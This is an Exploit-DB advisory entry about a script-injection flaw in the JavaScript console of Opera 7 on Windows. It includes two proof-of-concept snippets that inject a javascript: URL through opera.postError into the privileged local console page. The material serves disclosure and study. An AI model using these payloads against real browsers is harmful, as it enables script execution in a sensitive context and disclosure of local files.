https://www.exploit-db.com/exploits/22213

漏洞细节尚未披露

source: http://www.securityfocus.com/bid/6755/info

A vulnerability has been reported for Opera 7 browsers for Microsoft Windows operating systems. The vulnerability exists in the Opera JavaScript console. Attackers may exploit the vulnerability to execute script code in a sensitive context. Exploitation of this vulnerability may lead to disclosure of local file contents.

open("file://localhost/console.html","","");
opera.postError("http://"style="background-image:url('javascript:alert(location.href)')"");

open("file://localhost/console.html","","");
opera.postError("file://"style="background-image:url('javascript:alert(location.href)')".");